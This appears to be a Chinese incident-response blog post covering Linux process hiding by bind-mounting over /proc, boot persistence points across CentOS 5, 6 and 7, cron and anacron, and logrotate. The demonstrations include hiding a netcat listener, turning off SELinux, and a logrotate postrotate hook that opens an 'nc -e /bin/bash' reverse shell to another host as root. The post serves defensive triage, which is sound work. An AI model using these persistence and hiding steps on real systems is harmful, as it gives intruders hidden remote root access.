[root@server120 init]# nc -vv -l -p 2345 &
[root@server120 init]# ps axu | grep 3533 | grep -v grep
root 3533 0.0 0.0 103020 792 pts/1 S 13:46 0:00 nc -vv -l -p 2345
[root@server120 tmp]# netstat -antlp | grep 2345
tcp 0 0 0.0.0.0:2345 0.0.0.0:* LISTEN 3533/nc 
[root@server120 tmp]# lsof -i:2345
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
nc 3533 root 3u IPv4 1753126 0t0 TCP *:dbm (LISTEN)

创建文件夹

[root@server120 tmp]# mkdir /tmp/empty
[root@server120 tmp]# mount --bind /tmp/empty/ /proc/3533
mount: block device /tmp/empty is write-protected, mounting read-only
mount: cannot mount block device /tmp/empty read-only

挂不上,一想是因为前几天测试sudo提权的时候把selinux打开了

[root@server120 tmp]# getenforce 
Enforcing
[root@server120 tmp]# setenforce 0
[root@server120 tmp]# mount --bind /tmp/empty/ /proc/3533

然后再看一下,ps和netstat看不到了。

[root@server120 tmp]# ps axu | grep 3533 | grep -v grep
[root@server120 tmp]# netstat -antlp | grep 2345
tcp 0 0 0.0.0.0:2345 0.0.0.0:* LISTEN - 
[root@server120 tmp]# lsof -i:2345
[root@server120 tmp]#

大小变成了4096

[root@server120 tmp]# ls -ld /proc/3533
drwxr-xr-x. 2 root root 4096 7月 21 14:02 /proc/3533

修复:

[root@server120 tmp]# umount /proc/3533

检查mount:
1)/proc/mounts

[root@server120 tmp]# cat /proc/mounts | grep 3533
/dev/mapper/vg_template1-lv_root /proc/3533 ext4 rw,seclabel,relatime,barrier=1,data=ordered 0 0

2)/proc/$$/mountinfo

[root@server120 tmp]# cat /proc/$$/mountinfo | grep 3533
29 16 253:0 /tmp/empty /proc/3533 rw,relatime - ext4 /dev/mapper/vg_template1-lv_root rw,seclabel,barrier=1,data=ordered

3)mount -l

[root@server120 tmp]# mount -l | grep 3533
/tmp/empty on /proc/3533 type none (rw,bind)

因为mount -l 读取的是/etc/mtab,可以直接删除该条目。所以使用1)和2)更靠谱。

参考文章:
http://www.freebuf.com/articles/network/140535.html

在应急响应时,开机启动项是必查的项,下面梳理一下关于开机启动与服务相关需要排查的点。直接从init开始说。
RHEL5、RHEL6、RHEL7的init系统分别为SysV init、Upstart、Systemd

CentOS 5


启动流程如下:

1)加载BIOS的硬件信息与进行自我测试,并依据设置取得第一个可启动设备;

2)读取并执行第一个启动设备内MBR(主引导分区)的Boot Loader(即是gurb等程序);

3)依据Boot Loader的设置加载Kernel,Kernel会开始检测硬件与加载驱动程序;

4)在硬件驱动成功后,Kernel会主动调用init进程(/sbin/init),init的配置文件/etc/inittab;

5)init执行/etc/rc.d/rc.sysinit文件来准备软件的操作环境(如网络、时区等);

6)init执行runlevel的各个服务的启动(script方式);

7)init执行/etc/rc.d/rc.local文件;

8)init执行终端机模拟程序mingetty来启动login程序,最后等待用户登录。

init程序会读取init的配置文件/etc/inittab,并依据此文件来进行初始化工作。/etc/inittab文件主要作用是指定运行级别,执行系统初始化脚本(/etc/rc.d/rc.sysinit),启动相应运行级别下的服务和启动终端。

[root@jianshe_28 admin]# cat /etc/inittab
#
# inittab This file describes how the INIT process should set up
# the system in a certain run-level.
#
# Author: Miquel van Smoorenburg, <miquels@drinkel.nl.mugnet.org>
# Modified for RHS Linux by Marc Ewing and Donnie Barnes
#

# Default runlevel. The runlevels used by RHS are:
# 0 - halt (Do NOT set initdefault to this)
# 1 - Single user mode
# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)
# 3 - Full multiuser mode
# 4 - unused
# 5 - X11
# 6 - reboot (Do NOT set initdefault to this)
# 
id:3:initdefault:

# System initialization.
si::sysinit:/etc/rc.d/rc.sysinit

l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6

# Trap CTRL-ALT-DELETE
ca::ctrlaltdel:/sbin/shutdown -t3 -r now

# When our UPS tells us power has failed, assume we have a few minutes
# of power left. Schedule a shutdown for 2 minutes from now.
# This does, of course, assume you have powerd installed and your
# UPS connected and working correctly. 
pf::powerfail:/sbin/shutdown -f -h +2 "Power Failure; System Shutting Down"

# If power was restored before the shutdown kicked in, cancel it.
pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Cancelled"



# Run gettys in standard runlevels
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6

# Run xdm in runlevel 5
x:5:respawn:/etc/X11/prefdm -nodaemon

inittab文件中的值都是如下格式:
id:runlevel:action:process

id:
id是指入口标识符,他是个字符串,对于getty、mingetty等,需求id和tty的编号相同,否则getty将不能正常工作。

runlevel:
指定runlevel的级别。能指定多个runlevel级别,也能不为runlevel字段指定特定的值。
运行级别决定了系统启动的绝大部分行为和目的。这个级别从0到6,具有不同的功能。不同的运行级定义如下:

# 0 - 停机(千万别把initdefault设置为0,否则系统永远无法启动)
# 1 - 单用户模式
# 2 - 多用户,没有 NFS
# 3 - 完全多用户模式(标准的运行级)
# 4 - 系统保留的
# 5 - X11 (x window)
# 6 - 重新启动

action:

定义了该进程应该运行在何种状态下,其中action常用的种类有:

wait:切换至某级别运行一次process

respawn:此process终止的话,就重新启动之 initdefault:设置默认运行级别的,process省略

sysinit:设定系统初始化方式,此处一般指定为:/etc/rc.d/rc.sysinit

process:包含init执行的进程

下面看一下具体的配置

id:3:initdefault:

设置runlevel

si::sysinit:/etc/rc.d/rc.sysinit

执行了/etc/rc.d/rc.sysinit,一个shell脚本,他主要是完成一些系统初始化的工作,例如激活交换分区,检查磁盘,加载硬件模块及其他一些需要优先执行任务。

l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6
/etc/rc.d/rc是个shell脚本,接受runlevel参数,去执行该runlevel目录下的所有的rc启动脚本。以启动级别为3为例,/etc/rc.d/rc3.d/其实都是一些链接文件,真正的rc启动脚本实际上都是放在/etc/rc.d/init.d/目录下。而这些rc启动脚本有着类似的用法,他们一般能接受start、stop、restart、status等参数。

[root@localhost init.d]# ll /etc/rc.d/rc3.d/
lrwxrwxrwx. 1 root root 16 Jul 13 15:04 K01smartd -> ../init.d/smartd
lrwxrwxrwx. 1 root root 16 Jul 13 15:05 S11auditd -> ../init.d/auditd
.....

凡是以Kxx开头的,都以stop为参数来调用;凡是以Sxx开头的,都以start为参数来调用。xx是数字、表示的是启动顺序,按xx从小到大来执行。
我们来用chkconfig修改一下试试

[root@localhost rc3.d]# ll | grep audit
lrwxrwxrwx. 1 root root 16 Jul 13 15:05 S11auditd -> ../init.d/auditd
[root@localhost rc3.d]# chkconfig auditd off --level 3
[root@localhost rc3.d]# ll | grep audit
lrwxrwxrwx 1 root root 16 Jul 20 14:00 K88auditd -> ../init.d/auditd

另外说明一下应急响应中我们都会检查/etc/rc.local,其实也是在rcN.d中。
/etc/rc.local是软链到了/etc/rc.d/rc.local

[root@localhost init.d]# ll /etc/rc.local
lrwxrwxrwx. 1 root root 13 Jul 13 15:03 /etc/rc.local -> rc.d/rc.local

Redhat中的运行模式2、3、5都把/etc/rc.d/rc.local做为初始化脚本中的最后一个

[root@localhost rc3.d]# ll /etc/rc.d/rc3.d/S99local 
lrwxrwxrwx. 1 root root 11 Jul 13 15:03 /etc/rc.d/rc3.d/S99local -> ../rc.local

1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6
init接下来会打开6个终端,以便用户登录系统。

总结一下,针对CentOS5系统,需要排查的点:
1)/etc/inittab
该文件是可以运行process的,这里我们添加一行
0:235:once:/bin/vinc
内容如下

[root@localhost ~]# cat /bin/vinc 
#!/bin/bash
cat /etc/issue > /tmp/version

重启

[root@localhost ~]# cat /tmp/version 
CentOS release 5.5 (Final)
Kernel \r on an \m

2)/etc/rc.d/rc.sysinit
在最后插入一行/bin/vinc

[root@localhost ~]# ll /tmp/version 
-rw-r--r-- 1 root root 47 11-05 10:10 /tmp/version

3)/etc/rc.d/init.d
4)/etc/rc.d/rc.local

 

CentOS 6


启动流程如下:

init会读取配置文件/etc/inittab 和 /etc/init/*.conf。先看一下/etc/inittab

[root@server120 src]# cat /etc/inittab
# inittab is only used by upstart for the default runlevel.
#
# ADDING OTHER CONFIGURATION HERE WILL HAVE NO EFFECT ON YOUR SYSTEM.
#
# System initialization is started by /etc/init/rcS.conf
#
# Individual runlevels are started by /etc/init/rc.conf
#
# Ctrl-Alt-Delete is handled by /etc/init/control-alt-delete.conf
#
# Terminal gettys are handled by /etc/init/tty.conf and /etc/init/serial.conf,
# with configuration in /etc/sysconfig/init.
#
# For information on how to write upstart event handlers, or how
# upstart works, see init(5), init(8), and initctl(8).
#
# Default runlevel. The runlevels used are:
# 0 - halt (Do NOT set initdefault to this)
# 1 - Single user mode
# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)
# 3 - Full multiuser mode
# 4 - unused
# 5 - X11
# 6 - reboot (Do NOT set initdefault to this)
# 
id:3:initdefault:

通过注释可以看到,upstart只使用inittab读取默认的runlevel。添加其他的配置都不会生效,其他的配置都移动到了/etc/init/*.conf下。
系统初始化/etc/init/rcS.conf
对应runlevel的服务启动/etc/init/rc.conf
终端配置/etc/init/tty.conf
….

总结一下,针对CentOS6系统,需要排查的点:
1)/etc/init/*.conf
vim tty.conf,添加一行
exec /bin/vinc
内容如下

[root@vincenthostname init]# cat /bin/vinc 
#!/bin/bash

touch /tmp/vinc

重启

[root@vincenthostname ~]# ll /tmp/vinc
-rw-r--r-- 1 root root 0 6月 22 15:07 /tmp/vinc

2)/etc/rc.d/rc.sysinit
3)/etc/rc.d/init.d
4)/etc/rc.d/rc.local

 

0x03 CentOS7


开机启动流程如下:

1)UEFi或BIOS初始化,运行POST开机自检

2)选择启动设备

3)引导装载程序, centos7是grub2

4)加载装载程序的配置文件: /etc/grub.d/   /etc/default/grub    /boot/grub2/grub.cfg

5)加载initramfs驱动模块

6)加载内核选项

7)内核初始化, centos7使用systemd代替init

8)执行initrd.target所有单元,包括挂载/etc/fstab

9)从initramfs根文件系统切换到磁盘根目录

10)systemd执行默认target配置,配置文件/etc/systemd/system/default.target

11)systemd执行sysinit.target初始化系统及basic.target准备操作系统

12)systemd启动multi-user.target下的本机与服务器服务

13)systemd执行multi-user.target下的/etc/rc.d/rc.local

14)systemd执行multi-user.target下的getty.target及登入服务

15)systemd执行graphical需要的服务

CentOS7使用的是systemd,相较于以前的init有很大的不同。

/etc/inittab是空的

[root@localhost init.d]# cat /etc/inittab | grep -v "^$" | grep -v "^#"

[root@localhost init.d]#

也没有/etc/init目录

[root@localhost init.d]# ls -al /etc/init

ls: cannot access /etc/init: No such file or directory

/etc/rc3.d/和/etc/rc.d/init.d/还存在,所以向后兼容sysv init脚本,在centos5、6系统上/etc/init.d/目录下的服务脚本,systemd也能够对其进行管理

[root@localhost init.d]# ls -al /etc/rc3.d/

total 4

drwxr-xr-x.  2 root root   81 May 30 14:09 .

drwxr-xr-x. 10 root root 4096 May 30 14:31 ..

lrwxrwxrwx.  1 root root   20 Nov  7  2016 K50netconsole -> ../init.d/netconsole

lrwxrwxrwx.  1 root root   17 Nov  7  2016 S10network -> ../init.d/network

lrwxrwxrwx.  1 root root   23 Jan 17  2017 S90zabbix_agentd -> ../init.d/zabbix_agentd

lrwxrwxrwx.  1 root root   15 May 30 14:09 S99ossec -> ../init.d/ossec

systemd提供更优秀的框架以表示系统服务间的依赖关系,尽可能启动更少进程,尽可能将更多进程并行启动,尽可能减少对shell脚本的依赖。systemd的核心概念是unit,unit表示不同类型的systemd对象,通过配置文件进行标识和配置,文件中主要包含了系统服务,监听socket,保存的系统快照以及其他与init相关的信息。

查看所有的unit类型:

[root@localhost system]# systemctl -t help       

Available unit types:

service

socket

busname

target

snapshot

device

mount

automount

swap

timer

path

slice

scope

用途如下:

Service unit:文件扩展名.service 用于定义系统服务
Target unit:文件扩展名.target 用于模拟实现运行级别
Device unit: .device 用于定义内核识别的设备
Mount unit: .mount 定义文件系统的挂载点
Socket unit: .socket 用于标识进程间通行用的socket文件,也可在系统启动时,延迟启动服务,实现按需启动
Snapshot unit: .snapshot 管理系统快照
Swap unit: .swap 用于标识swap设备
Automount unit: .automount 文件系统的自动挂载点
Path unit: .path 用于定义文件系统中的一个文件或目录使用,常用于当文件系统变化时,延迟激活服务,如spool目录

配置文件中主要保存在:

/usr/lib/systemd/system/    每个服务最主要的启动脚本设置,类似于之前的/etc/init.d/ 

/run/systemd/system/    系统执行过程中所产生的服务脚本,比上面目录优先运行

/etc/systemd/system/    管理员建立的执行脚本,类似于/etc/rc.d/rcN.d/Sxx类的功能,比上面目录优先运行
[root@localhost system]# ls /usr/lib/systemd/system/

abrt-ccpp.service                       psacct.service

abrtd.service                           quotaon.service

abrt-oops.service                       rc-local.service

...

[root@localhost system]# ls /run/systemd/system/

session-1006.scope      session-161401.scope    session-24243.scope    session-54837.scope

session-1160.scope      session-162551.scope    session-24243.scope.d  session-54837.scope.d

...

[root@localhost system]# ls /etc/systemd/system/

basic.target.wants                           default.target           sockets.target.wants

dbus-org.fedoraproject.FirewallD1.service    default.target.wants     sysinit.target.wants

dbus-org.freedesktop.NetworkManager.service  getty.target.wants       system-update.target.wants

dbus-org.freedesktop.nm-dispatcher.service   multi-user.target.wants

我们来看下sshd.service

[root@localhost system]# cat sshd.service | grep -v "^$" | grep -v "^#"

[Unit]

Description=OpenSSH server daemon

Documentation=man:sshd(8) man:sshd_config(5)

After=network.target sshd-keygen.service

Wants=sshd-keygen.service

[Service]

EnvironmentFile=/etc/sysconfig/sshd

ExecStart=/usr/sbin/sshd -D $OPTIONS

ExecReload=/bin/kill -HUP $MAINPID

KillMode=process

Restart=on-failure

RestartSec=42s

[Install]

WantedBy=multi-user.target

文件包含三部分。

[Unit]:描述信息与依赖关系

[Service]:ExecStartPre 定义启动服务之前应该运行的命令;ExecStart 定义启动服务的具体命令行语法。

[Install]:WangtedBy 表明这个服务是在多用户模式下所需要的。

我们再来看下multi-user.target

[root@localhost system]# cat multi-user.target | grep -v "^$" | grep -v "^#"

[Unit]

Description=Multi-User System

Documentation=man:systemd.special(7)

Requires=basic.target

Conflicts=rescue.service rescue.target

After=basic.target rescue.service rescue.target

AllowIsolate=yes

Requires表明 multi-user.target 启动的时候 basic.target 也必须被启动,basic.target 停止的时候,multi-user.target 也必须停止。接着查看 basic.target 文件,会发现它又指定了 sysinit.target 等其他的单元必须随之启动。同样 sysinit.target 也会包含其他的单元。采用这样的层层链接的结构,最终所有需要支持多用户模式的组件服务都会被初始化启动好。

此外在/etc/systemd/system 目录下还可以看到诸如*.wants 的目录

[root@localhost system]# ls multi-user.target.wants/   

brandbot.path  plymouth-quit.service           systemd-logind.service

dbus.service   plymouth-quit-wait.service      systemd-update-utmp-runlevel.service

getty.target   systemd-ask-password-wall.path  systemd-user-sessions.service

放在该目录下的配置单元文件等同于在[Unit]小节中的 wants 关键字,即本单元启动时,还需要启动这些单元。

查看multi-user.target的依赖关系

[root@localhost system]# systemctl list-dependencies multi-user.target     

multi-user.target

├─abrt-ccpp.service
├─abrt-oops.service
├─abrt-vmcore.service
├─abrt-xorg.service
├─abrtd.service
├─atd.service
├─auditd.service

查看systemd管理的所有单元

[root@localhost system]# systemctl list-unit-files

UNIT FILE                                   STATE  

proc-sys-fs-binfmt_misc.automount           static 

dev-hugepages.mount                         static 

dev-mqueue.mount                            static

查看服务状态

[root@localhost system]# systemctl list-unit-files --type service     

UNIT FILE                                   STATE  

abrt-ccpp.service                           enabled

abrt-oops.service                           enabled

State的状态如下:

loaded:Unit配置文件已处理

active(running):一次或多次持续处理的运行

active(exited):成功完成一次性的配置

active(waiting):运行中,等待一个事件

inactive:不运行

enabled:开机启动

disabled:开机不启动

static:开机不启动,但可被另一个启用的服务激活

使用 systemctl 控制单元时,通常需要使用单元文件的全名,包括扩展名(例如 sshd.service),如果无扩展名,systemctl 默认把扩展名当作 .service。

启动httpd服务

[root@localhost system]# systemctl start httpd

停止httpd服务

[root@localhost system]# systemctl stop httpd

查看httpd服务运行状态

[root@localhost system]# systemctl status httpd

 

在centOS7上由.target来代替运行级别。

查看我们的机器上有多少个target

[root@localhost system]# ls /usr/lib/systemd/system/*.target | head -n 5

/usr/lib/systemd/system/basic.target

/usr/lib/systemd/system/bluetooth.target

/usr/lib/systemd/system/cryptsetup-pre.target

/usr/lib/systemd/system/cryptsetup.target

/usr/lib/systemd/system/ctrl-alt-del.target

运行级别与target的对照如下:

runlevel0.target -> poweroff.target

runlevel1.target -> rescue.target

runlevel2.target -> multi-user.target

runlevel3.target -> multi-user.target

runlevel4.target -> multi-user.target

runlevel5.target -> graphical.target

runlevel6.target -> reboot.target

运行级别切换

在centOS6上,我们切换级别使用init,在centOS7上来切换用:

systemctl isolate poweroff.target

要想切换运行级别,AllowIsolate=yes才可以。

[root@localhost system]# cat poweroff.target | grep Allow

AllowIsolate=yes

修改文件需执行systemctl daemon-reload才能生效。

 

查看默认运行级别

[root@localhost system]# systemctl get-default

multi-user.target

修改默认运行级别

[root@localhost system]# systemctl set-default graphical.target

Removed symlink /etc/systemd/system/default.target.

Created symlink from /etc/systemd/system/default.target to /usr/lib/systemd/system/graphical.target.

查看开机启动程序(相当于chkconfig –list)

ls /etc/systemd/system/multi-user.target.wants/

开机启动(相当于chkconfig httpd on)

[root@localhost system]# systemctl enable httpd.service 

Created symlink from /etc/systemd/system/multi-user.target.wants/httpd.service to /usr/lib/systemd/system/httpd.service.

去除开机启动(相当于chkconfig httpd off)

[root@localhost system]# systemctl disable httpd.service                                

Removed symlink /etc/systemd/system/multi-user.target.wants/httpd.service.

查看服务是否开机启动(相当于chkconfig –list httpd)

[root@localhost system]# systemctl is-enabled httpd.service

enabled

CentOS7下rc.local文件默认不会在开机执行,我们来看一下rc.local文件的内容

[root@localhost system]# cat /etc/rc.local

#!/bin/bash

# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES

#

# It is highly advisable to create own systemd services or udev rules

# to run scripts during boot instead of using this file.

#

# In contrast to previous versions due to parallel execution during boot

# this script will NOT be run after all other services.

#

# Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure

# that this script will be executed during boot.

可以看到一段注释,翻译如下:

#这个文件是为了兼容性的问题而添加的。

#强烈建议创建自己的systemd服务或udev规则来在开机时运行脚本而不是使用这个文件。

#与以前的版本引导时的并行执行相比较,这个脚本将不会在其他所有的服务后执行。

#请记住,你必须执行“chmod +x /etc/rc.d/rc.local”来确保确保这个脚本在引导时执行。

然后我们看/usr/lib/systemd/system/rc-local.service

[root@localhost system]# cat /usr/lib/systemd/system/rc-local.service | grep ExecStart

ExecStart=/etc/rc.d/rc.local start

那我们启动下rc-local.service

[root@localhost system]# chmod u+x /etc/rc.d/rc.local

[root@localhost system]# systemctl start rc-local

总结一下,针对CentOS7系统,需要排查的点:

1)排查修改的service

find /usr/lib/systemd/system/ -name "*.service" | xargs ls -alt | head -n 5
find /etc/systemd/system/ -name "*.service" | xargs ls -alt | head -n 5

2)/etc/rc.d/init.d

3)/etc/rc.d/rc.local

不过需要看/etc/rc.d/rc.local是否有x权限。

在应急响应中,最重要的一个点就是定时任务,例如Redis未授权通过持久化配置写入Crontab中。下面梳理一下定时任务相关的知识点:
一般常用的定时任务crontab -l是用户级别的,保存在/var/spool/cron/{user},每个用户都可以通过crontab -e编辑自己的定时任务列表。
而/etc/crontab是系统级别的定时任务,只有Root账户可以修改。
另外在应急的时候需要留意的点还有/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly等周期性执行脚本的目录。例如我想每天执行一个脚本,只需要放到/etc/cron.daily下,并且赋予执行权限即可。
那这些目录下的任务是怎么调用的?这里CentOS5和CentOS6还是有区别的。

CentOS5中:

[root@jianshe_28 /]# cat /etc/issue
CentOS release 5.8 (Final)
Kernel \r on an \m

[root@jianshe_28 /]# cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/

# run-parts
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly

run-parts命令位于/usr/bin/run-parts,内容是很简单的一个shell脚本,就是遍历目标文件夹,执行第一层目录下的可执行权限的文件。
所以在CentOS5下是实际是通过/etc/crontab来运行/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly下面的脚本的。
这里我们注意到在/etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly下都有一个脚本0anacron

[root@jianshe_28 cron.daily]# cat /etc/cron.daily/0anacron | grep -v '^#' | grep -v '^$'
if [ ! -e /var/run/anacron.pid ]; then
    anacron -u cron.daily
fi
[root@jianshe_28 cron.daily]# cat /etc/cron.weekly/0anacron | grep -v '^#' | grep -v '^$'
if [ ! -e /var/run/anacron.pid ]; then
    anacron -u cron.weekly
fi
[root@jianshe_28 cron.daily]# cat /etc/cron.monthly/0anacron | grep -v '^#' | grep -v '^$'
if [ ! -e /var/run/anacron.pid ]; then
    anacron -u cron.monthly
fi

这里就需要介绍一些/usr/sbin/anacron,anacron是干什么的?
anacron主要在处理非 24 小时一直启动的 Linux 系统的 crontab 的运行。所以 anacron 并不能指定何时运行某项任务, 而是以天为单位或者是在启动后立刻进行 anacron 的动作,他会去检查停机期间应该进行但是并没有进行的 crontab 任务,并将该任务运行一遍后,anacron 就会自动停止了。
anacron的配置文件是/etc/anacrontab

[root@jianshe_28 cron.daily]# cat /etc/anacrontab 
# /etc/anacrontab: configuration file for anacron

# See anacron(8) and anacrontab(5) for details.

SHELL=/bin/sh
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

1	65	cron.daily		run-parts /etc/cron.daily
7	70	cron.weekly		run-parts /etc/cron.weekly
30	75	cron.monthly		run-parts /etc/cron.monthly

具体含义如下:
period delay job-identifier command
<轮回天数> <轮回内的重试时间> <任务描述> <命令>
7 70 cron.weekly run-parts /etc/cron.weekly

第一部分是轮回天数,即是指任务在多少天内执行一次,monthly 就是一个月(30天)内执行,weekly 即是在一周之内执行一次。

第二部分 delay 是指轮回内的重试时间,这个意思有两部分,一个是 anacron 启动以后该服务 ready 暂不运行的时间(周任务的 70 delay 在 anacron 启动后70分钟内不执行,而处于 ready 状态),另一个是指如果该任务到达运行时间后却因为某种原因没有执行(比如前一个服务还没有运行完成,anacron 在 /etc/init.d 的脚本中加了一个 -s 参数,便是指在前一个任务没有完成时不执行下一个任务),依然以周任务和月任务为例,周任务在启动 anacron 后的 70 分钟执行,月任务在服务启动后 75 分钟执行,但是,如果月任务到达服务启动后 75 分钟,可是周任务运行超过5分钟依然没有完成,那月任务将会进入下一个 75 分钟的轮回,在下一个 75 分钟时再检查周任务是否完成,如果前一个任务完成了那月任务开始运行。

第三部分 job-identifier ,anacron 每次启动时都会在 /var/spool/anacron 里面建立一个以 job-identifier 为文件名的文件,里面记录着任务完成的时间,如果任务是第一次运行的话那这个文件应该是空的。anacron运行时,会去检查“/var/spool/anacron/这部分”文件中的内容,内容为一个日期,如下:

[root@localhost /]# cat /var/spool/anacron/cron.
cron.daily    cron.monthly  cron.weekly   
[root@localhost /]# cat /var/spool/anacron/cron.*
20170719
20170713
20170713

根据这个日期判断下面的第四部分要不要执行。 比如说这里写的是cron.daily,然后/var/spool/anacron/cron.daily文件中记录的日期为昨天的话,那anancron执行后就行执行这一行对应第四行的动作。

第四部分最为简单,仅仅是你想运行的命令

/usr/sbin/anacron常用参数:
-s :开始连续的运行各项工作 (job),会依据时间记录档的数据判断是否进行;
-f :强制进行,而不去判断时间记录档的时间戳记;
-n :立刻进行未进行的任务,而不延迟 (delay) 等待时间;
-u :仅升级时间记录档的时间戳记,不进行任何工作。

所以在CentOS5中已经通过/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly,/etc/cron.monthly已经通过/etc/crontab配置执行了,所以这里只是通过anacron -u来记录了执行的时间。

 

CentOS6中:

[root@localhost /]# cat /etc/issue
CentOS release 6.5 (Final)
Kernel \r on an \m

[root@localhost /]# cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed

可以看到默认的/etc/crontab为空了。那么/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly, /etc/cron.monthly下面的任务是怎么执行的?
我们再仔细看一下,注意到CentOS5下的/etc/cron.d目录为空。

[root@jianshe_28 cron.daily]# ll /etc/cron.d
total 0

而CentOS6下有一个0hourly

[root@localhost /]# ll /etc/cron.d
total 12
-rw-r--r--  1 root root 113 Jul 18 19:36 0hourly

看一下执行的任务

[root@localhost /]# cat /etc/cron.d/0hourly 
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
01 * * * * root run-parts /etc/cron.hourly

然后看一下/etc/cron.hourly所执行的脚本

[root@localhost /]# ll /etc/cron.hourly
total 4
-rwxr-xr-x 1 root root 409 Jul 18 14:20 0anacron
[root@localhost /]# cat /etc/cron.hourly/0anacron 
#!/bin/bash
# Skip excecution unless the date has changed from the previous run 
if test -r /var/spool/anacron/cron.daily; then
    day=`cat /var/spool/anacron/cron.daily`
fi
if [ `date +%Y%m%d` = "$day" ]; then
    exit 0;
fi

# Skip excecution unless AC powered
if test -x /usr/bin/on_ac_power; then
    /usr/bin/on_ac_power &> /dev/null
    if test $? -eq 1; then
    exit 0
    fi
fi
/usr/sbin/anacron -s

然后看一下/etc/anacrontab的内容

[root@localhost /]# cat /etc/anacrontab 
# /etc/anacrontab: configuration file for anacron

# See anacron(8) and anacrontab(5) for details.

SHELL=/bin/sh
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# the maximal random delay added to the base delay of the jobs
RANDOM_DELAY=45
# the jobs will be started during the following hours only
START_HOURS_RANGE=3-22

#period in days   delay in minutes   job-identifier   command
1	5	cron.daily		nice run-parts /etc/cron.daily
7	25	cron.weekly		nice run-parts /etc/cron.weekly
@monthly 45	cron.monthly		nice run-parts /etc/cron.monthly

这里多了两条配置
RANDOM_DELAY=45
表示定时触发后随机延迟45分钟以内的时间再启动应用
START_HOURS_RANGE=3-22
表示程序在3时至22时之间会启动

看到这里我们就明白了在CeontOS6 里面,crond会检查/etc/cron.d里面的配置,里面有一个0hourly文件,每小时去运行一次/etc/cron.hourly目录,该目录下面有一个0anacron文件,这样0anacron文件就能每小时运行一次,这里其实执行的是/usr/sbin/anacron -s。anacron读取配置文件/etc/anacrontab,将当前时间与/var/spool/anacron目录下面的文件里面的时间戳作对比,如果需要则去运行/etc/anacrontab对应的条目。

总结:
应急响应中关于定时任务应该排查的/etc/crontab,/etc/cron.d,/var/spool/cron/{user},然后顺藤摸瓜去看其他调用的目录/etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly, /etc/cron.monthly,/etc/anacrontab
其中容易忽视的就是/etc/anacrontab
在CentOS6下我们做个测试:
编辑/etc/anacrontab
修改RANDOM_DELAY=1
添加1 1 cron.test echo 1 >> /tmp/1.txt

[root@localhost cron.weekly]# /usr/sbin/anacron -s

等待一分多钟后,可以看到

[root@localhost cron.weekly]# cat /var/spool/anacron/cron.test 
20170719
[root@localhost cron.weekly]# cat /tmp/1.txt 
1

 

另外还需要注意Logrotate配置

在CentOS6中/etc/cron.daily/logrotate每小时执行一次。

[root@server120 logrotate.d]# cat /etc/cron.daily/logrotate 
#!/bin/sh

/usr/sbin/logrotate /etc/logrotate.conf >/dev/null 2>&1
EXITVALUE=$?
if [ $EXITVALUE != 0 ]; then
    /usr/bin/logger -t logrotate "ALERT exited abnormally with [$EXITVALUE]"
fi
exit 0

配置文件为/etc/logrotate.conf。

logrotate可以执行命令,例如来看一下:

[root@server120 logrotate.d]# cat /etc/logrotate.d/httpd 
/var/log/httpd/*log {
    missingok
    notifempty
    sharedscripts
    delaycompress
    postrotate
        /sbin/service httpd reload > /dev/null 2>/dev/null || true
    endscript
}

其中postrotate表示日志轮询之后,这里是自动重启Httpd服务。
另外还有prerotate表示在日志轮询之前。

比如/etc/logrotate.d下新建一个test

[root@server120 logrotate.d]# cat /etc/logrotate.d/test 
/tmp/base3306.log {
    daily
    missingok
    size = 5
    notifempty
    sharedscripts
    delaycompress
    postrotate
    nc 192.168.192.144 2345 -e /bin/bash
    endscript
}

然后我们手工执行一下

/usr/sbin/logrotate /etc/logrotate.conf

192.168.192.144:

[root@server144 ~]# nc -vv -l -p 2345
Listening on any address 2345 (dbm)
Connection from 192.168.192.120:54178
whoami
root

 

0x01 概述


